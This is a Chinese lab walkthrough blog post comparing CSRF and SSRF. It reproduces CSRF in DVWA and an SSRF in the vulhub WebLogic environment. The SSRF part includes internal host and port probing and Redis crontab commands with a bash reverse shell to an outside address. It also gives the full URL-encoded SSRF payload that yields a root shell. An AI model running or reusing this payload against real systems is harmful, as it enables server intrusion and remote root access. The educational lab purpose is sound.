CSRF和SSRF有什么不同?

2023-09-15 17:21:05

CSRF复现

打开dvwa,将难度调为low,点击CSRF,打开后发现有一个修改密码的输入框:
在这里插入图片描述

在这里修改密码,并用bp抓包,在http history查看数据包,点击engagement tools中的Generate CSRF Poc根据请求包生成一个CSRF攻击的网页:

在这里插入图片描述

在生成的代码中修改密码为12345,点击test in browser在浏览器中测试:

在这里插入图片描述

复制生成网页的URL:

在这里插入图片描述

然后在不关闭dvwa的情况下访问生成的恶意网站,点击按钮:

在这里插入图片描述

点击后跳回到dvwa的CSRF修改密码界面,此时密码已经被修改,退回到登录界面,输入原来的密码后发现登录失败:

在这里插入图片描述

SSRF复现

启动环境

到vulhub/weblogic/ssrf目录下

cd vulhub/weblogic/ssrf

启动容器:

sudo docker-compose up -d

启动成功,如图:

在这里插入图片描述

打开bp,然后打开bp中的内置浏览器Browser,输入地址10.9.75.45:7001/uddiexplorer进入网页,等待初始化后跳转出网页:

在这里插入图片描述

漏洞复现

点击Search Public Registries,在页面点击search后用bp抓包:

在这里插入图片描述

抓到的数据包如下图,是一个post请求包:
在这里插入图片描述

将数据包发到repeater模块,发送后报错,检查错误信息,发现有一个URL,在数据包的底部发现operator包含该URL:

在这里插入图片描述

然后我们可以检查此处是否有SSRF漏洞,用dnslog生成一个网址:

在这里插入图片描述

复制后在数据包中输入

http://www.emt.hmb3ub.dnslog.cn

观察它是否会根据给的地址做url请求,如果有,就存在SSRF漏洞:
在这里插入图片描述

发送后到网站点击Refresh Record,查看是否有请求回显:

在这里插入图片描述

确定此处存在SSRF漏洞。

探测存活IP和端口服务

查看报错信息,发现80端口未开放,我们可以测试存活的可用IP,先到kali查看IP:

在这里插入图片描述

测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活,如果返回错误信息证明存活,端口用已知的7001开放端口,即它本身的服务端口。

经测试,只有172.23.0.2为存活IP:

在这里插入图片描述

在存活IP的基础上测试开放端口80、8080、3306、445、6379,经测试发现只有6379(redis数据库)端口开放(其余端口回显相同的错误信息):

在这里插入图片描述

计划任务反弹shell

由于web服务未开放、ssh未开放,利用redis未授权访问漏洞只能写计划任务做反弹shell,写一个每时每分每天每月每周的计划任务,IP写kali的地址,端口为21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

由于redis数据库的命令需要通过http协议提交,所以需要先进行URL编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

需要在url中提交,前面加上协议头,前后加上两次换行符:

http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt

kali监听21端口:
在这里插入图片描述

在bp中修改字段点击发送,将计划任务发送到redis数据库中:
在这里插入图片描述

反弹shell成功,获取到root权限:

在这里插入图片描述

区别

SSRF和CSRF都是伪造攻击,前者伪造服务器的请求,后者伪造用户的请求,来达成攻击者想要达成的目的。

CSRF可以用一个恶意网站诱导用户发送跨站请求,来执行更改用户的密码或转移资金的操作。

SSRF是攻击者向服务器提交一个URL地址,服务器根据URL地址发送HTTP请求,伪造服务器请求。

更多推荐

拼多多API接口解析,实现根据ID取商品详情

拼多多是一个流行的电商平台,它提供了API接口供开发者使用。要根据ID获取商品详情,您需要使用拼多多API接口并进行相应的请求。以下是使用拼多多API接口根据ID获取商品详情的示例代码(使用Python编写):importrequestsimportjson#拼多多API接口地址api_url="https://api

【漏洞复现】易思智能物流无人值守系统文件上传

本文由掌控安全学院-江月投稿【产品介绍】易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。它能够自主完成货物存储、检索、分拣、装载以及配送等物流作业,帮助企业实现无人值守的智能物流运营,提高效率、降低成本,为现代物流行业带来新的发展机遇。【漏洞描述】易思无人值守智能物流系统/Sys_Rep

h5下载文件,无兼容问题~

最近写了个页面,打开页面出现文件列表,用户可以下载文件。失败方案使用a标签进行下载,参考代码如下:因为有批量下载的需求,这里将xhr请求单独封装到downloadFile.js中//downloadFile.jsconstdownloadFile=(url,onProgress,xhrAr)=>{console.log

Linux知识点 -- 网络基础(二)-- 应用层

Linux知识点–网络基础(二)--应用层文章目录Linux知识点--网络基础(二)--应用层一、使用协议来实现一个网络版的计算器1.自定义协议2.守护进程3.使用json来完成序列化二、HTTP协议1.概念2.HTTP协议请求和响应的报文格式3.使用HTTP协议进行网络通信4.HTTP协议的方法5.HTTP协议的状态

postgresql完整备份,增量备份,差异备份详细说明及对比(InsCode AI 创作助手)

postgresql完整备份,增量备份,差异备份详细说明及对比PostgreSQL是一款开源的关系型数据库管理系统,为了确保数据的安全性和可恢复性,数据库备份是至关重要的。在这篇博客中,我们将深入探讨PostgreSQL备份策略,包括完整备份、增量备份和差异备份,以及它们之间的比较。此外,我们还将提供相应的备份和恢复示

代理IP与Socks5代理:跨界电商智能爬虫的引擎与安全壁垒

一、引言跨界电商已成为全球商业发展的重要趋势,但要成功进入多样化的市场,企业需要大量的市场数据和对隐私安全的保障。代理IP和Socks5代理是两项关键技术,它们在这一领域的应用对于企业的成功至关重要。二、代理IP:跨界电商的智能数据引擎多地区数据采集:代理IP能够模拟不同地区的IP地址,帮助企业轻松采集多地区的市场数据

对IP协议概念以及IP地址的概念进行简单整理

网络层重要协议参考模型和协议栈IP协议IPv4数据报IP数据报格式IPv4地址特殊IP地址私有IP地址和公有IP地址子网划分参考模型和协议栈IP协议IP协议定义了网络层数据传送的基本单元,也制定了一系列关于网络层的规则。IPv4数据报网络层的协议数据单元PDU叫做分组;网络层的传输单位叫做数据报。协议数据单元PDU是对

【Java】泛型 之 擦拭法

泛型是一种类似”模板代码“的技术,不同语言的泛型实现方式不一定相同。Java语言的泛型实现方式是擦拭法(TypeErasure)。所谓擦拭法是指,虚拟机对泛型其实一无所知,所有的工作都是编译器做的。例如,我们编写了一个泛型类Pair<T>,这是编译器看到的代码:publicclassPair<T>{privateTfi

分布式系统的 38 个知识点

天天说分布式分布式,那么我们是否知道什么是分布式,分布式会遇到什么问题,有哪些理论支撑,有哪些经典的应对方案,业界是如何设计并保证分布式系统的高可用呢?1.架构设计这一节将从一些经典的开源系统架构设计出发,来看一下,如何设计一个高质量的分布式系统;而一般的设计出发点,无外乎冗余:简单理解为找个备胎,现任挂掉之后,备胎顶

Layui快速入门之第十一节 弹出层

目录一:基本用法API打开弹层基础属性弹出信息框弹出询问框弹出提示框弹出加载层弹出贴士层弹出输入框弹出图片层弹出标签层关闭弹层关闭所有层关闭最近一次打开的层2.8+全局配置默认属性样式初始化就绪重新设置弹层样式设置弹层的标题获取iframe页中的元素在iframe页中获取弹层索引设置iframe层高度自适应重新设置if

go-GC垃圾回收

GCGC是自动化内存管理回收机制虚拟内存函数栈的数据是会根据函数返回而自动销毁的,而堆上的数据是不会随着函数自动销毁的,堆内数据会随着程序运行而逐渐变大,从而导致内存OOM,Go语言就用了GC来清理堆上的内存数据。如何区分垃圾堆上内存数据不在被栈上和数据段上的引用变量所指向,那就一定是内存垃圾。这个原理称为"可达性",

热文推荐